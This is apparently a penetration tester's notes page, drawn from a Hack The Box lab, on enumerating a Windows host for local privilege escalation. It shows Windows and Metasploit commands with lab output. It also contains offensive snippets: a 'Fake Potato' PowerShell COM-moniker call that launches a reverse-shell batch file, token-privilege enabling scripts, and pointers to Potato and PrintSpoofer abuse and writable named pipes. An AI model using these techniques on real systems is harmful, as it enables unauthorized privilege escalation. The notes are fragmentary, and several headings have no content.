Enumeration

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Last updated 4 months ago

Enumeration

Interface(s), IP Address(es), DNS Information

C:\htb> ipconfig /all

ARP Table

C:\htb> arp -a

Routing Table

C:\htb> route print

Enumerating Protections

System Information

Tasklist

Running processes

tasklist /svc

Display All Environment Variables

C:\htb> set

View Detailed Configuration Information

C:\htb> systeminfo

meterpreter > bg

Background session 1? [y/N]  y


msf6 exploit(windows/iis/iis_webdav_upload_asp) > search local_exploit_suggester

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester


msf6 exploit(windows/iis/iis_webdav_upload_asp) > use 0
msf6 post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1

SESSION => 1


msf6 post(multi/recon/local_exploit_suggester) > run

Patches and Updates

C:\htb> wmic qfe

Caption                                     CSName        Description      FixComments  HotFixID   InstallDate  InstalledBy          InstalledOn  Name  ServicePackInEffect  Status
http://support.microsoft.com/?kbid=3199986  WINLPE-SRV01  Update                        KB3199986               NT AUTHORITY\SYSTEM  11/21/2016
https://support.microsoft.com/help/5001078  WINLPE-SRV01  Security Update               KB5001078               NT AUTHORITY\SYSTEM  3/25/2021
http://support.microsoft.com/?kbid=4103723  WINLPE-SRV01  Security Update               KB4103723               NT AUTHORITY\SYSTEM  3/25/2021

PS C:\htb> Get-HotFix | ft -AutoSize

Source       Description     HotFixID  InstalledBy                InstalledOn
------       -----------     --------  -----------                -----------
WINLPE-SRV01 Update          KB3199986 NT AUTHORITY\SYSTEM        11/21/2016 12:00:00 AM
WINLPE-SRV01 Update          KB4054590 WINLPE-SRV01\Administrator 3/30/2021 12:00:00 AM
WINLPE-SRV01 Security Update KB5001078 NT AUTHORITY\SYSTEM        3/25/2021 12:00:00 AM
WINLPE-SRV01 Security Update KB3200970 WINLPE-SRV01\Administrator 4/13/2021 12:00:00 AM

Installed Programs

dir 'C:\Program Files (x86)\'

dir 'C:\Program Files'

C:\htb> wmic product get name

Name
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.24.28127
Java 8 Update 231 (64-bit)
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.24.28127
VMware Tools
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.24.28127
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.24.28127
Java Auto Updater

<SNIP>

PS C:\htb> Get-WmiObject -Class Win32_Product |  select Name, Version

Name                                                                    Version
----                                                                    -------
SQL Server 2016 Database Engine Shared                                  13.2.5026.0
Microsoft OLE DB Driver for SQL Server                                  18.3.0.0
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219             10.0.40219
Microsoft Help Viewer 2.3                                               2.3.28107
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219             10.0.40219
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005              12.0.21005
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005           12.0.21005
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29914          14.28.29914
Microsoft ODBC Driver 13 for SQL Server                                 13.2.5026.0
SQL Server 2016 Database Engine Shared                                  13.2.5026.0
SQL Server 2016 Database Engine Services                                13.2.5026.0
SQL Server Management Studio for Reporting Services                     15.0.18369.0
Microsoft SQL Server 2008 Setup Support Files                           10.3.5500.0
SSMS Post Install Tasks                                                 15.0.18369.0
Microsoft VSS Writer for SQL Server 2016                                13.2.5026.0
Java 8 Update 231 (64-bit)                                              8.0.2310.11
Browser for SQL Server 2016                                             13.2.5026.0
Integration Services                                                    15.0.2000.130

<SNIP>

Display Running Processes

The main thing to look for with Active Network Connections are entries listening on loopback addresses (127.0.0.1 and ::1) that are not listening on the IP Address (10.129.43.8) or broadcast (0.0.0.0, ::/0).

PS C:\htb> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:21             0.0.0.0:0              LISTENING       1096
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       840
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       3520
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       968
<...SNIP...>

User & Group Information

Logged-In Users

C:\htb> query user

 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>administrator         rdp-tcp#2           1  Active          .  3/25/2021 9:27 AM

Or with task manager

Fake Potato ?

$obj = [System.Runtime.InteropServices.Marshal]::BindToMoniker("session:2!new:9BA05972-F6A8-11CF-A442-00A0C90A8F39")
$p=$obj.item(0).document.application
$p.ShellExecute("c:\temp\reverse.bat", "", "c:\windows", $null, 0)

LeakedWallPaper

Current User

C:\htb> echo %USERNAME%

htb-student

Current User Privileges

whoami /priv

Some rights are only available to administrative users and can only be listed/leveraged when running an elevated cmd or PowerShell session

Enable privileges

When a privilege is listed for our account in the Disabled state, it means that our account has the specific privilege assigned. Still, it cannot be used in an access token to perform the associated actions until it is enabled. Windows does not provide a built-in command or PowerShell cmdlet to enable privileges, so we need some scripting to help us out.

PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                              State
============================= ======================================================= ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                                Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                          Disabled

PS C:\htb> Import-Module .\Enable-Privilege.ps1
PS C:\htb> .\EnableAllTokenPrivs.ps1
PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                              State
============================= ======================================== =======
SeTakeOwnershipPrivilege      Take ownership of files or other objects Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set           Enabled

SeImpersonatePrivilege

JuicyPotato

SigmaPotato

c:\Users\All Users>whoami
whoami
nt authority\network service

c:\Users\All Users>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

c:\Users\All Users>

PrintSpoofer

c:\Users\All Users>whoami
whoami
nt authority\network service

c:\Users\All Users>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

c:\Users\All Users>

SeDebugPrivilege

Current User Group Information

C:\htb> whoami /groups

Get All Users

If we gained RDP access to a host using credentials we captured for a user bob, and see a bob_adm user in the local administrators group, it is worth checking for credential re-use

C:\htb> net user

User accounts for \\WINLPE-SRV01

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
helpdesk                 htb-student              jordan
sarah                    secsvc
The command completed successfully.

Get All Groups

C:\htb> net localgroup

Details About a Group

C:\htb> net localgroup administrators

Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
helpdesk
sarah
secsvc
The command completed successfully.

Get Password Policy & Other Account Information

C:\htb> net accounts

Force user logoff how long after time expires?:       Never
Minimum password age (days):                          0
Maximum password age (days):                          42
Minimum password length:                              0
Length of password history maintained:                None
Lockout threshold:                                    Never
Lockout duration (minutes):                           30
Lockout observation window (minutes):                 30
Computer role:                                        SERVER
The command completed successfully.

Name pipes

Pipelist

C:\htb> pipelist.exe /accepteula

Powershell

PS C:\htb>  gci \\.\pipe\


    Directory: \\.\pipe


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------       12/31/1600   4:00 PM              3 InitShutdown
------       12/31/1600   4:00 PM              4 lsass
------       12/31/1600   4:00 PM              3 ntsvcs
------       12/31/1600   4:00 PM              3 scerpc


    Directory: \\.\pipe\Winsock2


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------       12/31/1600   4:00 PM              1 Winsock2\CatalogChangeListener-34c-0


    Directory: \\.\pipe


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------       12/31/1600   4:00 PM              3 epmapper

<SNIP>

Enumerate the permissions assigned to a specific named pipe

C:\htb> accesschk.exe /accepteula \\.\Pipe\lsass -v

C:\Tools\AccessChk\accesschk.exe /accepteula \pipe\SQLLocal\SQLEXPRESS01 -v

Named Pipes Attack Example

Search for all named pipes that allow write access with a command such as accesschk.exe -w \pipe\* -v

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Last updated 4 months ago